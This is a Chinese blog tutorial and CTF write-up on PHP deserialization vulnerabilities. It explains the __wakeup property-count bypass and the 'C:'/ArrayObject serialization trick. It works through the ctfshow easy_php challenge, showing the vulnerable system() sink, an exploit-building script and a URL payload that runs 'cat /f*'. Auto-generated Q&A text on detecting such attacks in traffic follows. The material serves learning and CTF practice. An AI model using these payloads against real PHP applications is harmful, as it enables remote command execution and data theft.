初步了解序列化和反序列化

本文详细介绍了PHP中的序列化和反序列化概念,探讨了反序列化漏洞的原理,特别是__wakeup方法漏洞,以及如何通过C:customobject和魔术方法绕过限制。实例演示了利用这些知识解决实际安全挑战的过程。
摘要由CSDN通过智能技术生成

01什么是序列化和反序列化

序列化是将对象转化为字符串以便存储的一种方式。而反序列化恰好是序列化的逆过程,反序列化会将字符串转化为对象供程序使用。

常见的php系列化和反系列化方式主要有:serialize,unserialize;json_encode,json_decode。

02什么是反序列化漏洞

当程序在进行反序列化时,会自动调用一些函数,例如wakeup(),destruct()等函数,但是如果传入函数的参数可以被用户控制的话,用户可以输入一些恶意代码到函数中,从而导致反序列化漏洞。

03序列化格式中的字母含义:

a - array

b - boolean

d - double

i - integer

o - common object

r - reference

s - string

C - custom object

O - class

N - null

R - pointer reference

U - unicode string

04魔术方法

例题1(几乎不会涉及较复杂绕过):[SWPUCTF 2021 新生赛]ez_unserialize

 

__wakeup()方法漏洞

漏洞影响版本:PHP5 < 5.6.25 PHP7 < 7.0.10

影响原因:若在对象的魔法函数中存在_wakeup方法,那么之后在调用unserilize()方法进行反序列化之前则会先调用 _wakeup方法

属性个数不匹配

利用方法:当序列化字符串中表示对象属性个数值大于真是属性个数时会跳出wakeup执行

方法原理:反序列化是一个正向检索的函数,虽然对于整体来说,数量不符,无法完成反序列化,但是可以尽可能检索能够完成反序列化的目标,所以这里数量改多了,会先依次反序列化已有个单位,直到无法检索到下一个目标才判定反序列化失败。 所以当然可以触发__destruct(),完成前面属性的赋值。

eg:[SWPUCTF 2021 新生赛]no_wakeup

 

unserialize3 反序列字符串绕过

C绕过wakeup

O标识符代表对象类型,而C标识符代表类名类型。如果将O替换为C,则在反序列化时会将其解释为一个新的类名字符串,从而创建一个新的类而不是对象。因为这个新的类没有被序列化过,所以它没有任何属性或方法。这样一来,在反序列化时,__wakeup魔术方法就不会

被自动调用。

跟着大佬走一遍(这部分几乎完全跟着大佬博客走着学了一遍):

引入

 //引入
 <?php
 class AAA {
 ​
     public function __wakeup() {
         echo "__wakeup";
     }
 ​
     public function __construct(){
         echo "__construct".PHP_EOL;//换行符
     }
 ​
     public function __destruct(){
         echo "__destruct".PHP_EOL;
     }
 }
 ​
 $a = serialize(new AAA());
 $mod = str_replace("O:","C:",$a);//这里是将O:替换成c:为了绕过题目中不允许的地方
 echo $mod.PHP_EOL;
 ​
 $unserialized = unserialize($mod);
 var_dump($unserialized);
 ?>
 //回显
 __construct
 __destruct 
 C:3:"AAA":0:{}
 Warning: Class AAA has no unserializer in E:\workspace2024\learn_php\test02.php on line 21
 object(AAA)#1 (0) { } __destruct

O被替换成了C以后,生成的序列化字符串被认为可调用

扩展

C这个标识符,其实也是代表实现了 Serializable接口的类,因为实现Serializable接口,我们必须要重写serialize和unserialize方法

 ​
 <?php
     //定义的AAAA的类可以实现Serializable接口,意味着该实例可以被序列化和反序列化
 class AAAA implements Serializable{
     public $name="aa";
     public $age="bb";
  
     public function serialize() {//
         return serialize(array(
             'name' => $this->name,//这是一个键值对。键是字符串 'name',值是从当前对象的 $name 属性中取得的。$this 是PHP中的一个特殊变量,它引用当前对象。        
             'age' => $this->age
         ));
     }
     
     public function unserialize($data) {
         $data = unserialize($data);
         $this->name = $data['name'];//从反序列化后的数组$data中提取'name'键的值,并将其赋值给当前对象的$name属性。
         $this->age = $data['age'];
     }
  
     public function __construct(){
         echo "__construct\n";
     }
  
     public function __wakeup() {
         echo "__wakeup()";
     }
  
     public function __destruct(){
         echo 2222222;
     }
 }
  
 $a = new AAAA();
 $b = serialize($a);
 echo $b.PHP_EOL;
  
 $c = unserialize($b);
 var_dump($c);
 //回显
 Deprecated: AAAA implements the Serializable interface, which is deprecated. Implement __serialize() and __unserialize() instead (or in addition, if support for old PHP versions is necessary) in E:\workspace2024\learn_php\test02.php on line 2
 __construct C:4:"AAAA":45:{a:2:{s:4:"name";s:2:"aa";s:3:"age";s:2:"bb";}} object(AAAA)#2 (2) { ["name"]=> string(2) "aa" ["age"]=> string(2) "bb" } 22222222222222

利用

 ​
 <?php
 ​
 // 获取所有已定义的类
 $classes = get_declared_classes();
 $serializableClasses = [];
 ​
 // 遍历所有类
 foreach ($classes as $class) {
     // 创建反射类对象
     $reflection = new ReflectionClass($class);
     // 判断类是否实现了 Serializable 接口
     if ($reflection->implementsInterface('Serializable')) {
         // 将实现了 Serializable 接口的类添加到数组中
         $serializableClasses[] = $class;
     }
 }
 ​
 // 输出实现了 Serializable 接口的所有原生类
 foreach ($serializableClasses as $class) {
     echo $class . PHP_EOL;
 }
 ?>

这里使用第一个,先生成一个,放到反序列化看看

 <?php
  
 class AAAA{
     public $name=1;
     public $age=2;
 }
  
 $a = new ArrayObject;
 $a -> a = new AAAA;
  
 echo serialize($a);
 //C:11:"ArrayObject":73:{x:i:0;a:0:{};m:a:1:{s:1:"a";O:4:"AAAA":2:{s:4:"name";i:1;s:3:"age";i:2;}}}

 <?php
 class AAAA{
     public $name="aa";
     public $age="bb";
 ​
     public function __wakeup() {
         echo "__wakeup\n";
     }
     public function __construct(){
         echo "__construct\n";
     }
 ​
     public function __destruct(){
         echo 2222222;
     }
 }
 ​
 $c = unserialize('C:11:"ArrayObject":73:{x:i:0;a:0:{};m:a:1:{s:1:"a";O:4:"AAAA":2:{s:4:"name";i:1;s:3:"age";i:2;}}}');
 var_dump($c);
 ?>

最后发现并没有绕过wakeup,但是也可以当作一种绕过。emmm

eg:ctfshow愚人杯 easy_php

ctfshow愚人杯 easy_php

 <?php
 ​
 error_reporting(0);
 highlight_file(__FILE__);
 ​
 class ctfshow{
 ​
     public function __wakeup(){
         die("not allowed!");
     }
 ​
     public function __destruct(){
         system($this->ctfshow);
     }
 ​
 }
 ​
 $data = $_GET['1+1>2'];
 ​
 if(!preg_match("/^[Oa]:[\d]+/i", $data)){
     //说明不可以使用O:,或者a:开头
     unserialize($data);
 }
 ​
 ?>

wp:

 <?php
     
class ctfshow{
	public $ctfshow="cat /f*";//列出所有以f开头的文件
}
$A=new ArrayObject;//ArrayObject 是 PHP 的一个类,用于实现数组作为对象的接口。
$A->a=new ctfshow;
echo serialize($A);//输出代表 $A 对象的状态。这个字符串包含了 $A 对象及其属性 a(该属性是一个 ctfshow 对象)的信息。
?>

不知道为什么自己的一直没有实现,最后经大佬指点发现是php编译器问题最后换了一个方式找到答案。

 C:11:"ArrayObject":75:{x:i:0;a:0:{};m:a:1:{s:1:"a";O:7:"ctfshow":1:{s:7:"ctfshow";s:7:"cat /f*";}}}

 payload:
 ?1%2B1%3E2=C:11:"ArrayObject":75:{x:i:0;a:0:{};m:a:1:{s:1:"a";O:7:"ctfshow":1:{s:7:"ctfshow";s:7:"cat /f*";}}}

参考:反序列化漏洞详解-CSDN博客v99pc_search_result_base8&utm_term=%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96&spm=1018.2226.3001.4187

PHP序列化和反序列化-CSDN博客v99pc_search_result_base8&spm=1018.2226.3001.4187

PHP反序列化-__wakeup()方法漏洞(CVE-2016-7124)_wakeup的漏洞-CSDN博客

ctfshow 第三届愚人杯 easy_php_愚人杯3rd [easy_php]-CSDN博客

  • 21
    点赞
  • 18
    收藏
    觉得还不错? 一键收藏
  • 3
    评论
### 回答1: 流量中可能会有以下几个方面的异常表现: 1. 数据包大小异常:攻击者发送的序列化数据包大小往往比正常数据包要大很多,因为攻击者会在数据包中插入恶意代码,导致数据包大小增加。 2. 数据包结构异常:攻击者发送的序列化数据包结构可能与正常数据包不同,因为攻击者会在数据包中插入恶意代码,导致数据包结构异常。 3. 数据包内容异常:攻击者发送的序列化数据包可能包含恶意代码,这些代码可以执行任意操作,包括窃取敏感信息、操纵应用程序行为等等。因此,如果数据包内容异常,可能意味着攻击者已经成功利用了反序列化漏洞进行攻击。 需要注意的是,反序列化漏洞攻击并不总是会导致流量异常,因此,仅仅依靠流量来判断是否存在反序列化漏洞攻击并不可靠。建议配合其他安全措施,例如输入验证和输出编码等,来提高应用程序的安全性。 ### 回答2: 反序列化漏洞攻击是一种利用应用程序在执行对象的反序列化时存在的安全漏洞来进行恶意攻击的方式。为了判断该攻击是否成功,我们可以观察以下几个方面: 1. 日志分析:在应用程序的日志中,可以查找有关反序列化的错误或异常的记录。如果日志中存在异常相关的信息,比如反序列化失败或对象转换问题,可能暗示着反序列化漏洞攻击的成功尝试。 2. 网络流量分析:通过对应用程序网络流量进行监控和分析,可以检测到异常的数据传输。攻击者可能会通过网络传输恶意序列化数据进行攻击。如果网络流量中存在大量反序列化相关的数据传输,而这些数据的来源和目的与正常情况不符,那么就有可能发生反序列化漏洞攻击。 3. 安全监测工具:使用专门的安全监测工具,如入侵检测系统(IDS)或入侵防御系统(IPS),可以帮助检测恶意的反序列化攻击。这些工具可以通过分析数据包的内容和流量模式,识别出潜在的攻击行为并触发警报。 4. 行为分析:通过对应用程序执行的行为进行分析,可以发现异常的活动。例如,应用程序在正常情况下不会频繁进行反序列化操作,而攻击者在利用漏洞时可能会执行大量的反序列化操作。如果应用程序的行为模式与先前的历史数据不一致,那么可能存在反序列化漏洞攻击。 总的来说,判断反序列化漏洞攻击成功的关键是对应用程序行为和网络流量进行综合分析,同时结合日志记录和安全监测工具的使用,以及对异常情况的及时响应和处理。及早发现和防御反序列化漏洞攻击,对于保护系统和数据的安全至关重要。 ### 回答3: 反序列化漏洞攻击成功与流量的判断密切相关。在判断反序列化漏洞攻击成功的过程中,流量监测是一项重要的技术手段。 在一个正常的流量中,我们可以将反序列化漏洞攻击的成功与以下几个方面联系起来: 1. 请求的数据包大小异常:反序列化漏洞攻击通常会通过构造特定的数据包进行触发。因此,当我们注意到请求体的大小与正常情况下相比异常时,可能存在反序列化漏洞攻击。 2. 请求参数的修改:攻击者利用反序列化漏洞通常会修改请求中的参数,以实现他们的恶意目的。比如,攻击者可能会尝试修改传输的序列化对象或对象的属性。通过监测请求参数的变化,我们可以初步判断是否存在反序列化漏洞攻击。 3. 关键日志异常:在服务器端,我们可以通过日志记录请求和响应数据的信息。通过监测日志记录,特别是关键日志的异常情况,我们可以推测是否存在反序列化漏洞攻击。 4. 响应数据的异常:在网络请求的响应数据中,如果存在与预期不符的异常数据,可能是攻击者成功利用反序列化漏洞注入了恶意代码或改变了服务器端的数据。因此,通过监测响应数据的变化,我们可以进一步判断是否存在反序列化漏洞攻击。 综上所述,通过流量监测的技术手段,可以初步判断反序列化漏洞攻击是否成功。然而,为了更准确地判断,我们仍需要结合其他安全技术和工具的应用,如加密传输、代码审查、实施安全策略等。最好的防御方法是及时修补和更新系统漏洞,并采取安全最佳实践,以保护网络安全

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值